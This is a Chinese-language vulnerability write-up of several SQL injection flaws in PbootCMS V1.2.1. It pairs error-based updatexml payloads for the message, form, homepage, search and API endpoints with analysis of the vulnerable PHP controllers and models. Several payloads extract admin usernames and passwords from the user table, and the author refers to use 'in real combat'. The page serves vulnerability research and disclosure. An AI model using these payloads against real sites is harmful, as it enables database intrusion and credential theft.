menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 100-PbootCMS chevron_right 001-PbootCMS sql注入.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    001-PbootCMS sql注入.md
    20.76 KB / 2021-07-17 00:01:24
        # PbootCMS sql注入
    
    ### 0x01 前台home模块注入漏洞
    
    0x01.1 在线留言处insert sql注入
    
    0x01.1.2 漏洞演示
    
    注:我本地测试的所以我把验证验证码那一步关闭了=-=,实战中请自己加上验证码
    
    ![](images/15892005195309.png)
    
    
    
    ```bash
    url:http://127.0.0.1/cms/PbootCMS-V1.2.1/index.php/Message/add
    post:
        contacts[content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1) );-- a] = 1111
        content = 1111
        mobile = 1111
    ```
    
    ![](images/15892005433360.png)
    
    
    **0x01.1.2 漏洞解读**
    
    路径:PbootCMS-V1.2.1\apps\home\controller\MessageController.php
    
    方法:add(
    
    
    ```php
    // 留言新增
        public function add()
        {
            if ($_POST) {
                
                if (time() - session('lastsub') < 10) {
                    alert_back('您提交太频繁了,请稍后再试!');
                }
                
                // 验证码验证
                $checkcode = post('checkcode');
                if ($this->config('message_check_code')) {
                    // if (! $checkcode) {
                    //     alert_back('验证码不能为空!');
                    // }
                    
                    if ($checkcode != session('checkcode')) {
                        alert_back('验证码错误!');
                    }
                }
                
                // 读取字段
                if (! $form = $this->model->getFormField(1)) {
                    alert_back('留言表单不存在任何字段,请核对后重试!');
                }
                
                // 接收数据
                $mail_body = '';
                foreach ($form as $value) {
                    $field_data = post($value->name);
                    if (is_array($field_data)) { // 如果是多选等情况时转换
                        $field_data = implode(',', $field_data);
                    }
                    if ($value->required && ! $field_data) {
                        alert_back($value->description . '不能为空!');
                    } else {
                        $data[$value->name] = post($value->name);
                        $mail_body .= $value->description . ':' . post($value->name) . '<br>';
                    }
                }
                
                // 设置额外数据
                if ($data) {
                    $data['acode'] = session('lg');
                    $data['user_ip'] = ip2long(get_user_ip());
                    $data['user_os'] = get_user_os();
                    $data['user_bs'] = get_user_bs();
                    $data['recontent'] = '';
                    $data['status'] = 0;
                    $data['create_user'] = 'guest';
                    $data['update_user'] = 'guest';
                }
                
                if ($this->model->addMessage($data)) {
                    session('lastsub', time()); // 记录最后提交时间
                    $this->log('留言提交成功!');
                    if ($this->config('message_send_mail') && $this->config('message_send_to')) {
                        $mail_subject = "【PbootCMS】您有新的表单数据,请注意查收!";
                        $mail_body .= '<br>来自网站' . get_http_url() . '(' . date('Y-m-d H:i:s') . ')';
                        sendmail($this->config(), $this->config('message_send_to'), $mail_subject, $mail_body);
                    }
                    alert_location('提交成功!', '-1');
                } else {
                    $this->log('留言提交失败!');
                    alert_back('提交失败!');
                }
            } else {
                error('提交失败,请使用POST方式提交!');
            }
        }
    ```
    
    可以看到,整个逻辑下来的意思就是说,查询出数据库一条数据,然后接收外部 POST 内容,只匹配数据库的字段,相同才会拼接到 `$_data`数组
    
    
    ```bash
    然后就会带入 $this->model->addMessage(data) 执行语句
    ```
    
    路径:PbootCMS-V1.2.1\apps\home\model\ParserModel.php
    
    方法:addMessage(
    
    
    ```php
    // 新增留言
    public function addMessage($data)
    {
        return parent::table('ay_message')->autoTime()->insert($data);
    }
    ```
    
    根据6.0可以看到带入了进入了 insert 那么我们传的二维数组刚好可以控制key 带入数据库查询引发注入
    
    ### 0x01.2 免费通话insert sql注入
    
    注:本地测试的时候,这个地方的注入需要后台添加一条数据才能注!真实环境的话,开放了这个功能直接抓包即可
    
    进入后台
    
    ![](images/15892006268989.png)
    
    
    ![](images/15892006301066.png)
    
    
    ![](images/15892006336636.png)
    
    
    ![](images/15892006387865.png)
    
    
    **0x08.2.1 漏洞演示**
    
    ![](images/15892006502544.png)
    
    
    
    ```bash
    url:http://127.0.0.1/cms/PbootCMS-V1.2.1/index.php/Form/add?fcode=2
    post:
      tel[tel`) VALUES ( 1 and updatexml(1,concat(0x3a,user()),1) );-- a] = 1111
    ```
    
    ![](images/15892006620725.png)
    
    
    **0x08.2.2 漏洞解读**
    
    路径:PbootCMS-V1.2.1\apps\home\controller\FormController.php
    
    方法:add(
    
    
    ```php
    // 表单提交
        public function add()
        {
            if ($_POST) {
                
                if (time() - session('lastsub') < 10) {
                    alert_back('您提交太频繁了,请稍后再试!');
                }
                
                if (! $fcode = get('fcode', 'var')) {
                    alert_back('传递的表单编码有误!');
                }
                
                if ($fcode == 1) {
                    alert_back('表单提交地址有误,留言提交请使用留言专用地址!');
                }
                
                // 验证码验证
                /*
                 * $checkcode = post('checkcode');
                 * if ($this->config('message_check_code')) {
                 * if (! $checkcode) {
                 * alert_back('验证码不能为空!');
                 * }
                 * if ($checkcode != session('checkcode')) {
                 * alert_back('验证码错误!');
                 * }
                 * }
                 */
                
                // 读取字段
                if (! $form = $this->model->getFormField($fcode)) {
                    alert_back('接收表单不存在任何字段,请核对后重试!');
                }
                
                // 接收数据
                $mail_body = '';
                foreach ($form as $value) {
                    $field_data = post($value->name);
                    if (is_array($field_data)) { // 如果是多选等情况时转换
                        $field_data = implode(',', $field_data);
                    }
                    if ($value->required && ! $field_data) {
                        alert_back($value->description . '不能为空!');
                    } else {
                        $data[$value->name] = post($value->name);
                        $mail_body .= $value->description . ':' . post($value->name) . '<br>';
                    }
                }
                
                // 设置创建时间
                if ($data) {
                    $data['create_time'] = get_datetime();
                }
                
                // 写入数据
                if ($this->model->addForm($value->table_name, $data)) {
                    session('lastsub', time()); // 记录最后提交时间
                    $this->log('提交表单数据成功!');
                    if ($this->config('message_send_mail') && $this->config('message_send_to')) {
                        $mail_subject = "【PbootCMS】您有新的表单数据,请注意查收!";
                        $mail_body .= '<br>来自网站' . get_http_url() . '(' . date('Y-m-d H:i:s') . ')';
                        sendmail($this->config(), $this->config('message_send_to'), $mail_subject, $mail_body);
                    }
                    alert_location('提交成功!', '-1');
                } else {
                    $this->log('提交表单数据失败!');
                    alert_back('提交失败!');
                }
            } else {
                error('提交失败,请使用POST方式提交!');
            }
        }
    ```
    
    可以看到,整个逻辑下来的意思就是说,查询出数据库一条数据,然后接收外部 POST 内容,只匹配数据库的字段,相同才会拼接到 `$_data`数组
    
    然后就会带入 `$this->model->addForm($value->table_name, $data)` 执行语句
    
    路径:PbootCMS-V1.2.1\apps\home\model\ParserModel.php
    
    
    ```bash
    public function addForm($table, $data)
    {
        return parent::table($table)->insert($data);
    }
    ```
    
    根据6.0可以看到带入了进入了 insert 那么我们传的二维数组刚好可以控制key 带入数据库查询引发注入.
    
    ### 0X01.3 前台首页注入
    
    0x08.3.1 漏洞演示
    
    url:
    
    
    ```bash
    http://127.0.0.1/cms/PbootCMS-V1.2.1/index.php/Index?ext_price%3D1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=123
    ```
    
    ![](images/15892007216548.png)
    
    
    0x01.3.2 漏洞解读
    
    文件地址:PbootCMS-V1.2.1\apps\home\controller\ParserController.php
    
    方法:index(
    
    
    ```php
    // 首页 骚操作 注入
        // parserAfter -> parserSpecifyListLabel
        public function index()
        {
            $content = parent::parser('index.html'); // 框架标签解析
            $content = $this->parser->parserBefore($content); // CMS公共标签前置解析
            $content = $this->parser->parserPositionLabel($content, - 1, '首页', SITE_DIR . '/'); // CMS当前位置标签解析
            $content = $this->parser->parserSpecialPageSortLabel($content, 0, '', SITE_DIR . '/'); // 解析分类标签
            $content = $this->parser->parserAfter($content); // CMS公共标签后置解析
            $this->cache($content, true);
        }
    ```
    
    文件地址:apps\home\controller\ParserController.php
    
    方法:parserAfter()
    
    跟进 `$content = $this->parser->parserAfter($content);` 这个方法
    
    
    ```php
    // 解析全局后置公共标签
        public function parserAfter($content)
        {
            ...
            $content = $this->parserSpecifyListLabel($content); // 指定列表
            return $content;
        }
    ```
    
    方法:parserSpecifyListLabel(
    
    进入以后 查看调用了 `$content = $this->parserSpecifyListLabel($content);` 方法
    
    
    ```php
    // 解析指定分类列表标签
    public function parserSpecifyListLabel($content)
    {
      ...
      // 数据筛选 骚操作注入
      $where2 = array();
      foreach ($_GET as $key => $value) {
        if (substr($key, 0, 4) == 'ext_') { // 其他字段不加入
          $where2[$key] = get($key);
        }
      }
      ...
      // 读取数据
      if ($page) {
        $data = $this->model->getList($scode, $num, $order, $where1, $where2);
      } else {
        $data = $this->model->getSpecifyList($scode, $num, $order, $where1, $where2);
      }
    }
    ```
    
    这里就将重要的方法分析一下了,其他无关的就删除掉避免影响阅读。
    
    这里接收了外部了外部所有的get参数然后判断了开头的前4个字符是否 ext_ 开头,如果符合就直接拼接进入$where2这个数组 然后带入数据库进行getList方法与getSpecifyList查询,而底层是字符串拼接,过滤了value没有过滤key所以有注入
    
    ### 0x08.4 前台搜索框注入
    
    **0x08.4.1 漏洞利用**
    
    
    ```bash
    url:http://127.0.0.1/cms/PbootCMS-V1.2.1/index.php/Search/index?keyword=aaaa&updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=123
    ```
    
    ![](images/15892007895655.png)
    
    
    0x08.4.2 漏洞讲解
    
    文件地址:PbootCMS-V1.2.1\apps\home\controller\SearchController.php
    
    方法:index()
    
    
    ```php
    // 骚操作 注入
        // parserSearchLabel
        public function index()
        {
            $content = parent::parser('search.html'); // 框架标签解析
            $content = $this->parser->parserBefore($content); // CMS公共标签前置解析
            $content = $this->parser->parserPositionLabel($content, 0, '搜索', url('/home/Search/index')); // CMS当前位置标签解析
            $content = $this->parser->parserSpecialPageSortLabel($content, 0, '搜索结果', url('/home/Search/index')); // 解析分类标签
            $content = $this->parser->parserSearchLabel($content); // 搜索结果标签
            $content = $this->parser->parserAfter($content); // CMS公共标签后置解析
            $this->cache($content, true);
        }
    ```
    
    文件地址:apps\home\controller\ParserController.php
    
    方法:parserSearchLabel(
    
    进入以后 查看调用了 `$content = $this->parser->parserSearchLabel($content);`  方法
    
    
    ```php
    // 解析内容搜索结果标签
    public function parserSearchLabel($content)
    {
      ...
      foreach ($_GET as $key => $value) {
        if (! ! $value = get($key, 'vars')) {
          $where2[$key] = $value;
        }
      }
      ...
      // 读取数据
      if (! $data = $this->model->getList($scode, $num, $order, $where1, $where2, $fuzzy)) {
        $content = str_replace($matches[0][$i], '', $content);
        continue;
      }
    }
    ```
    
    这里就将重要的方法分析一下了,其他无关的就删除掉避免影响阅读。
    
    这里接收了外部了外部所有的get参数然后就直接拼接进入$where2这个数组 然后带入数据库进行getList方法查询,而底层是字符串拼接,过滤了value没有过滤key所以有注入
    
    ### 0x10 api模块注入
    
    api模块的注入需要后端开启api功能,并且获得 api_appid 与 api_secret 才能注入。或是说 开启了api功能并且关闭了API强制认证 这样也可以注入,所以较鸡助
    
    ![](images/15892008420733.jpg)
    
    
    0x10.1 接口注入一
    
    0x10.1.1 漏洞演示
    
    
    ```bash
    url:http://127.0.0.1/cms/PbootCMS-V1.2.1/api.php/cms/search?1%3D1)and(updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1))--=1
    
    post:
        11=11
    ```
    
    一定要post 要跑空post才能进流程
    
    因为系统中会把 “空格”转为“_” 所以使用/**/绕过即可
    
    0x10.1.2 漏洞讲解
    
    路径:apps\api\controller\CmsController.php
    
    方法:search(
    
    这里我把漏洞触发点发出来我们主要讲讲他即可
    
    
    ```php
    // 数据接收
    foreach ($_GET as $key => $value) {
      if (! ! $value = get($key, 'vars')) {
        $where[$key] = $value;
      }
    }
    $data = $this->model->getList($acode, $scode, $num, $order, $where, $fuzzy);
    ```
    
    从代码中看他会收集外部所有的 $_GET 带入 getList 进行入库查询 value 是我们无法控制所以无法注入的,可是key是我们可控制可注入的!!!跟进 getList方法
    
    路径:PbootCMS-V1.2.1\apps\api\model\CmsModel.php
    
    function getList(
    
    
    ```php
    // 列表内容
        public function getList($acode, $scode, $num, $order, $where = array(), $fuzzy = true)
        {
            ...
            // 筛选条件支持模糊匹配
            return parent::table('ay_content a')->field($fields)
                ->where($where1, 'OR')
                ->where($where2)
                ->where($where, 'AND', 'AND', $fuzzy)
                ->join($join)
                ->order($order)
                ->page(1, $num)
                ->decode()
                ->select();
        }
    ```
    
    这里我把关键代码放出来了,可以看到接收$where以后直接仍进了数据库进行操作造成了注入
    
    **0x10.2 接口注入二**
    
    **0x10.2.1 漏洞利用**
    
    
    ```bash
    url:http://127.0.0.1/cms/PbootCMS-V1.2.1/api.php/cms/addmsg
    
    post:
        contacts[contentl`) VALUES ( updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1) );-- a] = 111
        mobile = 111
        content = 111
    ```
    
    ![](images/15892009259566.png)
    
    
    0x10.2.2 漏洞讲解
    
    文件:PbootCMS-V1.2.1\apps\api\controller\CmsController.php
    
    方法:addmsg(
    
    
    ```php
    // 新增留言   注入
        public function addmsg()
        {
            if ($_POST) {
                
                // 读取字段
                if (! $form = $this->model->getFormField(1)) {
                    json(0, '接收表单不存在任何字段,请核对后重试!');
                }
                
                // 接收数据
                $mail_body = '';
                foreach ($form as $value) {
                    $field_data = post($value->name);
                    if ($value->required && ! $field_data) {
                        json(0, $value->description . '不能为空!');
                    } else {
                        $data[$value->name] = post($value->name);
                        $mail_body .= $value->description . ':' . post($value->name) . '<br>';
                    }
                }
                
                // 设置其他字段
                if ($data) {
                    $data['acode'] = get('acode', 'var') ?: $this->lg;
                    $data['user_ip'] = ip2long(get_user_ip());
                    $data['user_os'] = get_user_os();
                    $data['user_bs'] = get_user_bs();
                    $data['recontent'] = '';
                    $data['status'] = 0;
                    $data['create_user'] = 'api';
                    $data['update_user'] = 'api';
                }
                
                // 写入数据
                if ($this->model->addMessage($value->table_name, $data)) {
                    $this->log('API提交表单数据成功!');
                    if ($this->config('message_send_mail') && $this->config('message_send_to')) {
                        $mail_subject = "【PbootCMS】您有新的表单数据,请注意查收!";
                        $mail_body .= '<br>来自网站' . get_http_url() . '(' . date('Y-m-d H:i:s') . ')';
                        sendmail($this->config(), $this->config('message_send_to'), $mail_subject, $mail_body);
                    }
                    json(1, '表单提交成功!');
                } else {
                    $this->log('API提交表单数据失败!');
                    json(0, '表单提交失败!');
                }
            } else {
                json(0, '表单提交失败,请使用POST方式提交!');
            }
        }
    ```
    
    可以看到,整个逻辑下来的意思就是说,查询出数据库一条数据,然后接收外部 POST 内容,只匹配数据库的字段,相同才会拼接到 `$_data`数组
    
    然后就会带入 `$this->model->addMessage(data)` 执行语句
    
    文件:PbootCMS-V1.2.1\apps\api\model\CmsModel.php
    
    函数:addMessage(
    
    
    ```php
    // 新增留言
        public function addMessage($table, $data)
        {
            return parent::table('ay_message')->autoTime()->insert($data);
        }
    ```
    
    根据6.0可以看到带入了进入了 insert 那么我们传的二维数组刚好可以控制key 带入数据库查询引发注入
    
    0x10.3 接口注入三
    
    0x10.3.1 漏洞利用
    
    
    ```bash
    url:http://127.0.0.1/cms/PbootCMS-V1.2.1/api.php/cms/addform?fcode=1
    
    post:
        contacts[content`) VALUES ( updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1) );-- a] = 111
        mobile = 111
        content = 123
    ```
    
    ![](images/15892009897909.png)
    
    
    0x10.3.2 漏洞讲解
    
    
    ```php
    // 表单提交  注入
        public function addform()
        {
            if ($_POST) {
                
                if (! $fcode = get('fcode', 'var')) {
                    json(0, '传递的表单编码fcode有误!');
                }
                
                // 读取字段
                if (! $form = $this->model->getFormField($fcode)) {
                    json(0, '接收表单不存在任何字段,请核对后重试!');
                }
                
                // 接收数据
                $mail_body = '';
                foreach ($form as $value) {
                    $field_data = post($value->name);
                    if ($value->required && ! $field_data) {
                        json(0, $value->description . '不能为空!');
                    } else {
                        $data[$value->name] = post($value->name);
                        $mail_body .= $value->description . ':' . post($value->name) . '<br>';
                    }
                }
                
                // 设置创建时间
                if ($data) {
                    $data['create_time'] = get_datetime();
                }
                
                // 写入数据
                if ($this->model->addForm($value->table_name, $data)) {
                    $this->log('API提交表单数据成功!');
                    if ($this->config('message_send_mail') && $this->config('message_send_to')) {
                        $mail_subject = "【PbootCMS】您有新的表单数据,请注意查收!";
                        $mail_body .= '<br>来自网站' . get_http_url() . '(' . date('Y-m-d H:i:s') . ')';
                        sendmail($this->config(), $this->config('message_send_to'), $mail_subject, $mail_body);
                    }
                    json(1, '表单提交成功!');
                } else {
                    $this->log('API提交表单数据失败!');
                    json(0, '表单提交失败!');
                }
            } else {
                json(0, '表单提交失败,请使用POST方式提交!');
            }
        }
    ```
    
    可以看到,整个逻辑下来的意思就是说,查询出数据库一条数据,然后接收外部 POST 内容,只匹配数据库的字段,相同才会拼接到 `$_data`数组
    
    然后就会带入 `$this->model->addForm(data)` 执行语句
    
    文件:PbootCMS-V1.2.1\apps\api\model\CmsModel.php
    
    方法:addForm(
    
    
    ```
    // 新增表单数据
    public function addForm($table, $data)
    {
        return parent::table($table)->insert($data);
    }
    ```
    
    根据6.0可以看到带入了进入了 insert 那么我们传的二维数组刚好可以控制key 带入数据库查询引发注入
    
    ### 四、参考链接
    
    https://www.yuque.com/pmiaowu/bfgkkh/lrqvqv
    
    links
    file_download